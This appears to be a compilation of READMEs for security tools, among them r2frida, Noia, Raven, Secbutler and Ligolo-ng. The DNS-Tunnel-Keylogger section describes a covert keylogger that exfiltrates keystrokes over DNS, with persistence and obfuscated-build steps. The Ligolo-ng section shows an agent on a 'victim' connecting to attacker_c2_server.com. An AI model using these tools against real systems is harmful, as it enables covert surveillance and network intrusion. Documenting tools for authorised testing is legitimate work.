• Use r2 apis and run r2 commands inside the remote target process.
• Native breakpoints using the :db api
• Access remote filesystems using the r_fs api.

Installation

The recommended way to install r2frida is via r2pm:

$ r2pm -ci r2frida

Binary builds that don't require compilation will be soon supported in r2pm and r2env. Meanwhile feel free to download the last builds from the Releases page.

Compilation

Dependencies

• radare2
• pkg-config (not required on windows)
• curl or wget
• make, gcc
• npm, nodejs (will be soon removed)

In GNU/Debian you will need to install the following packages:

$ sudo apt install -y make gcc libzip-dev nodejs npm curl pkg-config git

Instructions

$ git clone https://github.com/nowsecure/r2frida.git
$ cd r2frida
$ make
$ make user-install

Windows

• Install meson and Visual Studio
• Unzip the latest radare2 release zip in the r2frida root directory
• Rename it to radare2 (instead of radare2-x.y.z)
• To make the VS compiler available in PATH (preconfigure.bat)
• Run configure.bat and then make.bat
• Copy the b\r2frida.dll into r2 -H R2_USER_PLUGINS

Usage

For testing, use r2 frida://0, as attaching to the pid0 in frida is a special session that runs in local. Now you can run the :? command to get the list of commands available.

$ r2 'frida://?'
r2 frida://[action]/[link]/[device]/[target]
* action = list | apps | attach | spawn | launch
* link   = local | usb | remote host:port
* device = '' | host:port | device-id
* target = pid | appname | process-name | program-in-path | abspath
Local:
* frida://?                        # show this help
* frida://                         # list local processes
* frida://0                        # attach to frida-helper (no spawn needed)
* frida:///usr/local/bin/rax2      # abspath to spawn
* frida://rax2                     # same as above, considering local/bin is in PATH
* frida://spawn/$(program)         # spawn a new process in the current system
* frida://attach/(target)          # attach to target PID in current host
USB:
* frida://list/usb//               # list processes in the first usb device
* frida://apps/usb//               # list apps in the first usb device
* frida://attach/usb//12345        # attach to given pid in the first usb device
* frida://spawn/usb//appname       # spawn an app in the first resolved usb device
* frida://launch/usb//appname      # spawn+resume an app in the first usb device
Remote:
* frida://attach/remote/10.0.0.3:9999/558 # attach to pid 558 on tcp remote frida-server
Environment: (Use the `%` command to change the environment at runtime)
  R2FRIDA_SAFE_IO=0|1              # Workaround a Frida bug on Android/thumb
  R2FRIDA_DEBUG=0|1                # Used to debug argument parsing behaviour
  R2FRIDA_COMPILER_DISABLE=0|1     # Disable the new frida typescript compiler (`:. foo.ts`)
  R2FRIDA_AGENT_SCRIPT=[file]      # path to file of the r2frida agent

Examples

$ r2 frida://0     # same as frida -p 0, connects to a local session

You can attach, spawn or launch to any program by name or pid, The following line will attach to the first process named rax2 (run rax2 - in another terminal to test this line)

$ r2 frida://rax2  # attach to the first process named `rax2`
$ r2 frida://1234  # attach to the given pid

Using the absolute path of a binary to spawn will spawn the process:

$ r2 frida:///bin/ls
[0x00000000]> :dc        # continue the execution of the target program

Also works with arguments:

$ r2 frida://"/bin/ls -al"

For USB debugging iOS/Android apps use these actions. Note that spawn can be replaced with launch or attach, and the process name can be the bundleid or the PID.

$ r2 frida://spawn/usb/         # enumerate devices
$ r2 frida://spawn/usb//        # enumerate apps in the first iOS device
$ r2 frida://spawn/usb//Weather # Run the weather app

Commands

These are the most frequent commands, so you must learn them and suffix it with ? to get subcommands help.

:i        # get information of the target (pid, name, home, arch, bits, ..)
.:i*      # import the target process details into local r2
:?        # show all the available commands
:dm       # list maps. Use ':dm|head' and seek to the program base address
:iE       # list the exports of the current binary (seek)
:dt fread # trace the 'fread' function
:dt-*     # delete all traces

Plugins

r2frida plugins run in the agent side and are registered with the r2frida.pluginRegister API.

See the plugins/ directory for some more example plugin scripts.

[0x00000000]> cat example.js
r2frida.pluginRegister('test', function(name) {
  if (name === 'test') {
    return function(args) {
      console.log('Hello Args From r2frida plugin', args);
      return 'Things Happen';
    }
  }
});
[0x00000000]> :. example.js   # load the plugin script

The :. command works like the r2's . command, but runs inside the agent.

:. a.js  # run script which registers a plugin
:.       # list plugins
:.-test  # unload a plugin by name
:.. a.js # eternalize script (keeps running after detach)

Termux

If you are willing to install and use r2frida natively on Android via Termux, there are some caveats with the library dependencies because of some symbol resolutions. The way to make this work is by extending the LD_LIBRARY_PATH environment to point to the system directory before the termux libdir.

$ LD_LIBRARY_PATH=/system/lib64:$LD_LIBRARY_PATH r2 frida://...

Troubleshooting

Ensure you are using a modern version of r2 (preferibly last release or git).

Run r2 -L | grep frida to verify if the plugin is loaded, if nothing is printed use the R2_DEBUG=1 environment variable to get some debugging messages to find out the reason.

If you have problems compiling r2frida you can use r2env or fetch the release builds from the GitHub releases page, bear in mind that only MAJOR.MINOR version must match, this is r2-5.7.6 can load any plugin compiled on any version between 5.7.0 and 5.7.8.

Design

 +---------+
 | radare2 |     The radare2 tool, on top of the rest
 +---------+
      :
 +----------+
 | io_frida |    r2frida io plugin
 +----------+
      :
 +---------+
 |  frida  |     Frida host APIs and logic to interact with target
 +---------+
      :
  +-------+
  |  app  |      Target process instrumented by Frida with Javascript
  +-------+

Credits

This plugin has been developed by pancake aka Sergi Alvarez (the author of radare2) for NowSecure.

I would like to thank Ole André for writing and maintaining Frida as well as being so kind to proactively fix bugs and discuss technical details on anything needed to make this union to work. Kudos

Noia - Simple Mobile Applications Sandbox File Browser Tool

Noia is a web-based tool whose main aim is to ease the process of browsing mobile applications sandbox and directly previewing SQLite databases, images, and more. Powered by frida.re.

Please note that I'm not a programmer, but I'm probably above the median in code-savyness. Try it out, open an issue if you find any problems. PRs are welcome.

Installation & Usage

npm install -g noia
noia

Features

• Explore third-party applications files and directories. Noia shows you details including the access permissions, file type and much more.

• View custom binary files. Directly preview SQLite databases, images, and more.

• Search application by name.

• Search files and directories by name.

• Navigate to a custom directory using the ctrl+g shortcut.

• Download the application files and directories for further analysis.

• Basic iOS support

and more

Setup

Desktop requirements:

• node.js LTS and npm
• Any decent modern desktop browser

Noia is available on npm, so just type the following command to install it and run it:

npm install -g noia
noia

Device setup:

Noia is powered by frida.re, thus requires Frida to run.

Rooted Device

See: * https://frida.re/docs/android/ * https://frida.re/docs/ios/

Non-rooted Device

• https://koz.io/using-frida-on-android-without-root/
• https://github.com/sensepost/objection/wiki/Patching-Android-Applications
• https://nowsecure.com/blog/2020/01/02/how-to-conduct-jailed-testing-with-frida/

Security Warning

This tool is not secure and may include some security vulnerabilities so make sure to isolate the webpage from potential hackers.

LICENCE

MIT

Skytrack - Planespotting And Aircraft OSINT Tool Made Using Python

About

skytrack is a command-line based plane spotting and aircraft OSINT reconnaissance tool made using Python. It can gather aircraft information using various data sources, generate a PDF report for a specified aircraft, and convert between ICAO and Tail Number designations. Whether you are a hobbyist plane spotter or an experienced aircraft analyst, skytrack can help you identify and enumerate aircraft for general purpose reconnaissance.

What is Planespotting & Aircraft OSINT?

Planespotting is the art of tracking down and observing aircraft. While planespotting mostly consists of photography and videography of aircraft, aircraft information gathering and OSINT is a crucial step in the planespotting process. OSINT (Open Source Intelligence) describes a methodology of using publicy accessible data sources to obtain data about a specific subject — in this case planes!

Aircraft Information

• Tail Number 🛫
• Aircraft Type ⚙️
• ICAO24 Designation 🔎
• Manufacturer Details 🛠
• Flight Logs 📄
• Aircraft Owner ✈️
• Model 🛩
• Much more!

Usage

To run skytrack on your machine, follow the steps below:

$ git clone https://github.com/ANG13T/skytrack
$ cd skytrack
$ pip install -r requirements.txt
$ python skytrack.py

skytrack works best for Python version 3.

Preview

Features

skytrack features three main functions for aircraft information

Aircraft Reconnaissance & OSINT

skytrack obtains general information about the aircraft given its tail number or ICAO designator. The tool sources this information using several reliable data sets. Once the data is collected, it is displayed in the terminal within a table layout.

PDF Aircraft Information Report

skytrack also enables you the save the collected aircraft information into a PDF. The PDF includes all the aircraft data in a visual layout for later reference. The PDF report will be entitled "skytrack_report.pdf"

Tail Number to ICAO Converter

There are two standard identification formats for specifying aircraft: Tail Number and ICAO Designation. The tail number (aka N-Number) is an alphanumerical ID starting with the letter "N" used to identify aircraft. The ICAO type designation is a six-character fixed-length ID in the hexadecimal format. Both standards are highly pertinent for aircraft

:warning: Converter only works for USA-registered aircraft

Data Sources & APIs Used

ICAO Aircraft Type Designators Listings

FlightAware

Wikipedia

Aviation Safety Website

Jet Photos Website

OpenSky API

Aviation Weather METAR

Airport Codes Dataset

Contributing

skytrack is open to any contributions. Please fork the repository and make a pull request with the features or fixes you want to implement.

Upcoming

• Obtain Latest Flown Airports
• Obtain Airport Information
• Obtain ATC Frequency Information

Support

If you enjoyed skytrack, please consider becoming a sponsor or donating on buymeacoffee in order to fund my future projects.

To check out my other works, visit my GitHub profile.

DNS-Tunnel-Keylogger - Keylogging Server And Client That Uses DNS Tunneling/Exfiltration To Transmit Keystrokes

This post-exploitation keylogger will covertly exfiltrate keystrokes to a server.

These tools excel at lightweight exfiltration and persistence, properties which will prevent detection. It uses DNS tunelling/exfiltration to bypass firewalls and avoid detection.

Server

Setup

The server uses python3.

To install dependencies, run python3 -m pip install -r requirements.txt

Starting the Server

To start the server, run python3 main.py

usage: dns exfiltration server [-h] [-p PORT] ip domain

positional arguments:
  ip
  domain

options:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  port to listen on

By default, the server listens on UDP port 53. Use the -p flag to specify a different port.

ip is the IP address of the server. It is used in SOA and NS records, which allow other nameservers to find the server.

domain is the domain to listen for, which should be the domain that the server is authoritative for.

Registrar

On the registrar, you want to change your domain's namespace to custom DNS.

Point them to two domains, ns1.example.com and ns2.example.com.

Add records that make point the namespace domains to your exfiltration server's IP address.

This is the same as setting glue records.

Client

Linux

The Linux keylogger is two bash scripts. connection.sh is used by the logger.sh script to send the keystrokes to the server. If you want to manually send data, such as a file, you can pipe data to the connection.sh script. It will automatically establish a connection and send the data.

logger.sh

# Usage: logger.sh [-options] domain
# Positional Arguments:
#   domain: the domain to send data to
# Options:
#   -p path: give path to log file to listen to
#   -l: run the logger with warnings and errors printed

To start the keylogger, run the command ./logger.sh [domain] && exit. This will silently start the keylogger, and any inputs typed will be sent. The && exit at the end will cause the shell to close on exit. Without it, exiting will bring you back to the non-keylogged shell. Remove the &> /dev/null to display error messages.

The -p option will specify the location of the temporary log file where all the inputs are sent to. By default, this is /tmp/.

The -l option will show warnings and errors. Can be useful for debugging.

logger.sh and connection.sh must be in the same directory for the keylogger to work. If you want persistance, you can add the command to .profile to start on every new interactive shell.

connection.sh

Usage: command [-options] domain
Positional Arguments:
  domain: the domain to send data to
Options:
  -n: number of characters to store before sending a packet

Windows

Build

To build keylogging program, run make in the windows directory. To build with reduced size and some amount of obfuscation, make the production target. This will create the build directory for you and output to a file named logger.exe in the build directory.

make production domain=example.com

You can also choose to build the program with debugging by making the debug target.

make debug domain=example.com

For both targets, you will need to specify the domain the server is listening for.

Sending Test Requests

You can use dig to send requests to the server:

dig @127.0.0.1 a.1.1.1.example.com A +short send a connection request to a server on localhost.

dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short send a test message to localhost.

Replace example.com with the domain the server is listening for.

Protocol

Starting a Connection

A record requests starting with a indicate the start of a "connection." When the server receives them, it will respond with a fake non-reserved IP address where the last octet contains the id of the client.

The following is the format to follow for starting a connection: a.1.1.1.[sld].[tld].

The server will respond with an IP address in following format: 123.123.123.[id]

Concurrent connections cannot exceed 254, and clients are never considered "disconnected."

Exfiltrating Data

A record requests starting with b indicate exfiltrated data being sent to the server.

The following is the format to follow for sending data after establishing a connection: b.[packet #].[id].[data].[sld].[tld].

The server will respond with [code].123.123.123

id is the id that was established on connection. Data is sent as ASCII encoded in hex.

code is one of the codes described below.

Response Codes

200: OK

If the client sends a request that is processed normally, the server will respond with code 200.

201: Malformed Record Requests

If the client sends an malformed record request, the server will respond with code 201.

202: Non-Existant Connections

If the client sends a data packet with an id greater than the # of connections, the server will respond with code 202.

203: Out of Order Packets

If the client sends a packet with a packet id that doesn't match what is expected, the server will respond with code 203. Clients and servers should reset their packet numbers to 0. Then the client can resend the packet with the new packet id.

204 Reached Max Connection

If the client attempts to create a connection when the max has reached, the server will respond with code 204.

Dropped Packets

Clients should rely on responses as acknowledgements of received packets. If they do not receive a response, they should resend the same payload.

Side Notes

Linux

Log File

The log file containing user inputs contains ASCII control characters, such as backspace, delete, and carriage return. If you print the contents using something like cat, you should select the appropriate option to print ASCII control characters, such as -v for cat, or open it in a text-editor.

Non-Interactive Shells

The keylogger relies on script, so the keylogger won't run in non-interactive shells.

Windows

Repeated Requests

For some reason, the Windows Dns_Query_A always sends duplicate requests. The server will process it fine because it discards repeated packets.

MrHandler - Linux Incident Response Reporting

MR.Handler is a specialized tool designed for responding to security incidents on Linux systems. It connects to target systems via SSH to execute a range of diagnostic commands, gathering crucial information such as network configurations, system logs, user accounts, and running processes. At the end of its operation, the tool compiles all the gathered data into a comprehensive HTML report. This report details both the specifics of the incident response process and the current state of the system, enabling security analysts to more effectively assess and respond to incidents.

  $ pip3 install colorama
  $ pip3 install paramiko
  $ git clone https://github.com/emrekybs/BlueFish.git
  $ cd MrHandler
  $ chmod +x MrHandler.py 
  $ python3 MrHandler.py

WEB-Wordlist-Generator - Creates Related Wordlists After Scanning Your Web Applications

WEB-Wordlist-Generator scans your web applications and creates related wordlists to take preliminary countermeasures against cyber attacks.

• [x] Scan Static Files.
• [ ] Scan Metadata Of Public Documents (pdf,doc,xls,ppt,docx,pptx,xlsx etc.)
• [ ] Create a New Associated Wordlist with the Wordlist Given as a Parameter.

git clone https://github.com/OsmanKandemir/web-wordlist-generator.git
cd web-wordlist-generator && pip3 install -r requirements.txt
python3 generator.py -d target-web.com

You can run this application on a container after build a Dockerfile.

docker build -t webwordlistgenerator .
docker run webwordlistgenerator -d target-web.com -o

You can run this application on a container after pulling from DockerHub.

docker pull osmankandemir/webwordlistgenerator:v1.0
docker run osmankandemir/webwordlistgenerator:v1.0 -d target-web.com -o

-d DOMAINS [DOMAINS], --domains DOMAINS [DOMAINS] Input Multi or Single Targets. --domains target-web1.com target-web2.com
-p PROXY, --proxy PROXY Use HTTP proxy. --proxy 0.0.0.0:8080
-a AGENT, --agent AGENT Use agent. --agent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
-o PRINT, --print PRINT Use Print outputs on terminal screen.

Secbutler - The Perfect Butler For Pentesters, Bug-Bounty Hunters And Security Researchers

Essential utilities for pentester, bug-bounty hunters and security researchers

secbutler is a utility tool made for pentesters, bug-bounty hunters and security researchers that contains all the most used and tedious stuff commonly used while performing cybersecurity activities (like installing sec-related tools, retrieving commands for revshells, serving common payloads, obtaining a working proxy, managing wordlists and so forth).

The goal is to obtain a tool that meets the requirements of the community, therefore suggestions and PRs are very welcome!

• Generate a reverse shell command
• Obtain proxy
• Download & deploy common payloads
• Obtain reverse shell listener command
• Generate bash install script for common tools
• Generate bash download script for Wordlists
• Read common cheatsheets and payloads

secbutler -h

This will display the help for the tool

                   __          __  __
   ________  _____/ /_  __  __/ /_/ /__  _____
  / ___/ _ \/ ___/ __ \/ / / / __/ / _ \/ ___/
 (__  )  __/ /__/ /_/ / /_/ / /_/ /  __/ /
/____/\___/\___/_.___/\__,_/\__/_/\___/_/

v0.1.9 - https://github.com/groundsec/secbutler

Essential utilities for pentester, bug-bounty hunters and security researchers

Usage:
  secbutler [flags]
  secbutler [command]

Available Commands:
cheatsheet  Read common cheatsheets & payloads
  help        Help about any command
  listener    Obtain the command to start a reverse shell listener
  payloads    Obtain and serve common payloads
  proxy       Obtain a random proxy from FreeProxy
  revshell    Obtain the command for a reverse shell
  tools       Generate a install script for the most common cybersecurity tools
  version     Print the current version
  wordlists   Generate a download script for the most common wordlists

Flags:
  -h, --help   help for secbutler

Use "secbutler [command] --help" for more information about a command.

Run the following command to install the latest version:

go install github.com/groundsec/secbutler@latest

Or you can simply grab an executable from the Releases page.

secbutler is made with 🖤 by the GroundSec team and released under the MIT LICENSE.

BucketLoot - An Automated S3-compatible Bucket Inspector

To know more about our Attack Surface Management platform, check out NVADR.

Raven - CI/CD Security Analyzer

RAVEN (Risk Analysis and Vulnerability Enumeration for CI/CD) is a powerful security tool designed to perform massive scans for GitHub Actions CI workflows and digest the discovered data into a Neo4j database. Developed and maintained by the Cycode research team.

With Raven, we were able to identify and report security vulnerabilities in some of the most popular repositories hosted on GitHub, including:

• FreeCodeCamp (the most popular project on GitHub)
• Storybook (One of the most popular frontend frameworks)
• Fluent UI by Microsoft
• and much more

We listed all vulnerabilities discovered using Raven in the tool Hall of Fame.

What is Raven

The tool provides the following capabilities to scan and analyze potential CI/CD vulnerabilities:

• Downloader: You can download workflows and actions necessary for analysis. Workflows can be downloaded for a specified organization or for all repositories, sorted by star count. Performing this step is a prerequisite for analyzing the workflows.
• Indexer: Digesting the downloaded data into a graph-based Neo4j database. This process involves establishing relationships between workflows, actions, jobs, steps, etc.
• Query Library: We created a library of pre-defined queries based on research conducted by the community.
• Reporter: Raven has a simple way of reporting suspicious findings. As an example, it can be incorporated into the CI process for pull requests and run there.

Possible usages for Raven:

• Scanner for your own organization's security
• Scanning specified organizations for bug bounty purposes
• Scan everything and report issues found to save the internet
• Research and learning purposes

This tool provides a reliable and scalable solution for CI/CD security analysis, enabling users to query bad configurations and gain valuable insights into their codebase's security posture.

Why Raven

In the past year, Cycode Labs conducted extensive research on fundamental security issues of CI/CD systems. We examined the depths of many systems, thousands of projects, and several configurations. The conclusion is clear – the model in which security is delegated to developers has failed. This has been proven several times in our previous content:

• A simple injection scenario exposed dozens of public repositories, including popular open-source projects.
• We found that one of the most popular frontend frameworks was vulnerable to the innovative method of branch injection attack.
• We detailed a completely different attack vector, 3rd party integration risks, the most popular project on GitHub, and thousands more.
• Finally, the Microsoft 365 UI framework, with more than 300 million users, is vulnerable to an additional new threat – an artifact poisoning attack.
• Additionally, we found, reported, and disclosed hundreds of other vulnerabilities privately.

Each of the vulnerabilities above has unique characteristics, making it nearly impossible for developers to stay up to date with the latest security trends. Unfortunately, each vulnerability shares a commonality – each exploitation can impact millions of victims.

It was for these reasons that Raven was created, a framework for CI/CD security analysis workflows (and GitHub Actions as the first use case). In our focus, we examined complex scenarios where each issue isn't a threat on its own, but when combined, they pose a severe threat.

Setup && Run

To get started with Raven, follow these installation instructions:

Step 1: Install the Raven package

pip3 install raven-cycode

Step 2: Setup a local Redis server and Neo4j database

docker run -d --name raven-neo4j -p7474:7474 -p7687:7687 --env NEO4J_AUTH=neo4j/123456789 --volume raven-neo4j:/data neo4j:5.12
docker run -d --name raven-redis -p6379:6379 --volume raven-redis:/data redis:7.2.1

Another way to setup the environment is by running our provided docker compose file:

git clone https://github.com/CycodeLabs/raven.git
cd raven
make setup

Step 3: Run Raven Downloader

Org mode:

raven download org --token $GITHUB_TOKEN --org-name RavenDemo

Crawl mode:

raven download crawl --token $GITHUB_TOKEN --min-stars 1000

Step 4: Run Raven Indexer

raven index

Step 5: Inspect the results through the reporter

raven report --format raw

At this point, it is possible to inspect the data in the Neo4j database, by connecting http://localhost:7474/browser/.

Prerequisites

• Python 3.9+
• Docker Compose v2.1.0+
• Docker Engine v1.13.0+

Infrastructure

Raven is using two primary docker containers: Redis and Neo4j. make setup will run a docker compose command to prepare that environment.

Usage

The tool contains three main functionalities, download and index and report.

Download

Download Organization Repositories

usage: raven download org [-h] --token TOKEN [--debug] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] --org-name ORG_NAME

options:
  -h, --help            show this help message and exit
  --token TOKEN         GITHUB_TOKEN to download data from Github API (Needed for effective rate-limiting)
  --debug               Whether to print debug statements, default: False
  --redis-host REDIS_HOST
                        Redis host, default: localhost
  --redis-port REDIS_PORT
                        Redis port, default: 6379
  --clean-redis, -cr    Whether to clean cache in the redis, default: False
  --org-name ORG_NAME   Organization name to download the workflows

Download Public Repositories

usage: raven download crawl [-h] --token TOKEN [--debug] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] [--max-stars MAX_STARS] [--min-stars MIN_STARS]

options:
  -h, --help            show this help message and exit
  --token TOKEN         GITHUB_TOKEN to download data from Github API (Needed for effective rate-limiting)
  --debug               Whether to print debug statements, default: False
  --redis-host REDIS_HOST
                        Redis host, default: localhost
  --redis-port REDIS_PORT
                        Redis port, default: 6379
  --clean-redis, -cr    Whether to clean cache in the redis, default: False
  --max-stars MAX_STARS
                        Maximum number of stars for a repository
  --min-stars MIN_STARS
                        Minimum number of stars for a repository, default   : 1000

Index

usage: raven index [-h] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] [--neo4j-uri NEO4J_URI] [--neo4j-user NEO4J_USER] [--neo4j-pass NEO4J_PASS]
                   [--clean-neo4j] [--debug]

options:
  -h, --help            show this help message and exit
  --redis-host REDIS_HOST
                        Redis host, default: localhost
  --redis-port REDIS_PORT
                        Redis port, default: 6379
  --clean-redis, -cr    Whether to clean cache in the redis, default: False
  --neo4j-uri NEO4J_URI
                        Neo4j URI endpoint, default: neo4j://localhost:7687
  --neo4j-user NEO4J_USER
                        Neo4j username, default: neo4j
  --neo4j-pass NEO4J_PASS
                        Neo4j password, default: 123456789
  --clean-neo4j, -cn    Whether to clean cache, and index f   rom scratch, default: False
  --debug               Whether to print debug statements, default: False

Report

usage: raven report [-h] [--redis-host REDIS_HOST] [--redis-port REDIS_PORT] [--clean-redis] [--neo4j-uri NEO4J_URI]
                    [--neo4j-user NEO4J_USER] [--neo4j-pass NEO4J_PASS] [--clean-neo4j]
                    [--tag {injection,unauthenticated,fixed,priv-esc,supply-chain}]
                    [--severity {info,low,medium,high,critical}] [--queries-path QUERIES_PATH] [--format {raw,json}]
                    {slack} ...

positional arguments:
  {slack}
    slack               Send report to slack channel

options:
  -h, --help            show this help message and exit
  --redis-host REDIS_HOST
                        Redis host, default: localhost
  --redis-port REDIS_PORT
                        Redis port, default: 6379
  --clean-redis, -cr    Whether to clean cache in the redis, default: False
  --neo4j-uri NEO4J_URI
                           Neo4j URI endpoint, default: neo4j://localhost:7687
  --neo4j-user NEO4J_USER
                        Neo4j username, default: neo4j
  --neo4j-pass NEO4J_PASS
                        Neo4j password, default: 123456789
  --clean-neo4j, -cn    Whether to clean cache, and index from scratch, default: False
  --tag {injection,unauthenticated,fixed,priv-esc,supply-chain}, -t {injection,unauthenticated,fixed,priv-esc,supply-chain}
                        Filter queries with specific tag
  --severity {info,low,medium,high,critical}, -s {info,low,medium,high,critical}
                        Filter queries by severity level (default: info)
  --queries-path QUERIES_PATH, -dp QUERIES_PATH
                        Queries folder (default: library)
  --format {raw,json}, -f {raw,json}
                        Report format (default: raw)

Examples

Retrieve all workflows and actions associated with the organization.

raven download org --token $GITHUB_TOKEN --org-name microsoft --org-name google --debug

Scrape all publicly accessible GitHub repositories.

raven download crawl --token $GITHUB_TOKEN --min-stars 100 --max-stars 1000 --debug

After finishing the download process or if interrupted using Ctrl+C, proceed to index all workflows and actions into the Neo4j database.

raven index --debug

Now, we can generate a report using our query library.

raven report --severity high --tag injection --tag unauthenticated

Rate Limiting

For effective rate limiting, you should supply a Github token. For authenticated users, the next rate limiting applies:

• Code search - 30 queries per minute
• Any other API - 5000 per hour

Research Knowledge Base

• Issue Injections
• Pull Request Injections
• Workflow Run Injections
• CodeSee Injections

Current Limitations

• It is possible to run external action by referencing a folder with a Dockerfile (without action.yml). Currently, this behavior isn't supported.
• It is possible to run external action by referencing a docker container through the docker://... URL. Currently, this behavior isn't supported.
• It is possible to run an action by referencing it locally. This creates complex behavior, as it may come from a different repository that was checked out previously. The current behavior is trying to find it in the existing repository.
• We aren't modeling the entire workflow structure. If additional fields are needed, please submit a pull request according to the contribution guidelines.

Future Research Work

• Implementation of taint analysis. Example use case - a user can pass a pull request title (which is controllable parameter) to an action parameter that is named data. That action parameter may be used in a run command: - run: echo ${{ inputs.data }}, which creates a path for a code execution.
• Expand the research for findings of harmful misuse of GITHUB_ENV. This may utilize the previous taint analysis as well.
• Research whether actions/github-script has an interesting threat landscape. If it is, it can be modeled in the graph.

Want more of CI/CD Security, AppSec, and ASPM? Check out Cycode

If you liked Raven, you would probably love our Cycode platform that offers even more enhanced capabilities for visibility, prioritization, and remediation of vulnerabilities across the software delivery.

If you are interested in a robust, research-driven Pipeline Security, Application Security, or ASPM solution, don't hesitate to get in touch with us or request a demo using the form https://cycode.com/book-a-demo/.

Ligolo-Ng - An Advanced, Yet Simple, Tunneling/Pivoting Tool That Uses A TUN Interface

Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).

Features

• Tun interface (No more SOCKS!)
• Simple UI with agent selection and network information
• Easy to use and setup
• Automatic certificate configuration with Let's Encrypt
• Performant (Multiplexing)
• Does not require high privileges
• Socket listening/binding on the agent
• Multiple platforms supported for the agent

How is this different from Ligolo/Chisel/Meterpreter... ?

Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.

When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.

As an example, for a TCP connection:

• SYN are translated to connect() on remote
• SYN-ACK is sent back if connect() succeed
• RST is sent if ECONNRESET, ECONNABORTED or ECONNREFUSED syscall are returned after connect
• Nothing is sent if timeout

This allows running tools like nmap without the use of proxychains (simpler and faster).

Building & Usage

Precompiled binaries

Precompiled binaries (Windows/Linux/macOS) are available on the Release page.

Building Ligolo-ng

Building ligolo-ng (Go >= 1.20 is required):

$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go

Setup Ligolo-ng

Linux

When using Linux, you need to create a tun interface on the Proxy Server (C2):

$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up

Windows

You need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture).

Running Ligolo-ng proxy server

Start the proxy server on your Command and Control (C2) server (default port 11601):

$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates

TLS Options

Using Let's Encrypt Autocert

When using the -autocert option, the proxy will automatically request a certificate (using Let's Encrypt) for attacker_c2_server.com when an agent connects.

Port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval

Using your own TLS certificates

If you want to use your own certificates for the proxy server, you can use the -certfile and -keyfile parameters.

Automatic self-signed certificates (NOT RECOMMENDED)

The proxy/relay can automatically generate self-signed TLS certificates using the -selfcert option.

The -ignore-cert option needs to be used with the agent.

Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.

Using Ligolo-ng

Start the agent on your target (victim) computer (no privileges are required!):

$ ./agent -connect attacker_c2_server.com:11601

If you want to tunnel the connection over a SOCKS5 proxy, you can use the --socks ip:port option. You can specify SOCKS credentials using the --socks-user and --socks-pass arguments.

A session should appear on the proxy server.

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

Use the session command to select the agent.

ligolo-ng » session 
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

Display the network configuration of the agent using the ifconfig command:

[Agent : nchatelain@nworkstation] » ifconfig 
[...]
┌─────────────────────────────────────────────┐
│ Interface 3                                 │
├──────────────┬──────────────────────────────┤
│ Name         │ wlp3s0                       │
│ Hardware MAC │ de:ad:be:ef:ca:fe            │
│ MTU          │ 1500                            │
│ Flags        │ up|broadcast|multicast       │
│ IPv4 Address │ 192.168.0.30/24             │
└──────────────┴──────────────────────────────┘

Add a route on the proxy/relay server to the 192.168.0.0/24 agent network.

Linux:

$ sudo ip route add 192.168.0.0/24 dev ligolo

Windows:

> netsh int ipv4 show interfaces

Idx     Mét         MTU          État                Nom
---  ----------  ----------  ------------  ---------------------------
 25           5       65535  connected     ligolo

> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]

Start the tunnel on the proxy:

[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation   

You can now access the 192.168.0.0/24 agent network from the proxy server.

$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]

Agent Binding/Listening

You can listen to ports on the agent and redirect connections to your control/proxy server.

In a ligolo session, use the listener_add command.

The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server.

[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!            

On the proxy:

$ nc -lvp 4321

When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.

This is very useful when using reverse tcp/udp payloads.

You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:

[Agent : nchatelain@nworkstation] » listener_list 
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners                                                              │
├───┬─────────────────────────┬─────   ───────────────────┬────────────────────────┤
│ # │ AGENT                   │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────&   #9508;
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234           │ 127.0.0.1:4321         │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘

[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.                             

Demo

Does it require Administrator/root access ?

On the agent side, no! Everything can be performed without administrative access.

However, on your relay/proxy server, you need to be able to create a tun interface.

Supported protocols/packets

• TCP
• UDP
• ICMP (echo requests)

Performance

You can easily hit more than 100 Mbits/sec. Here is a test using iperf from a 200Mbits/s server to a 200Mbits/s connection.

$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[  5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval           Transfer     Bitrate         Retr  Cwnd
[  5]   0.00-1.00   sec  12.5 MBytes   105 Mbits/sec    0    164 KBytes       
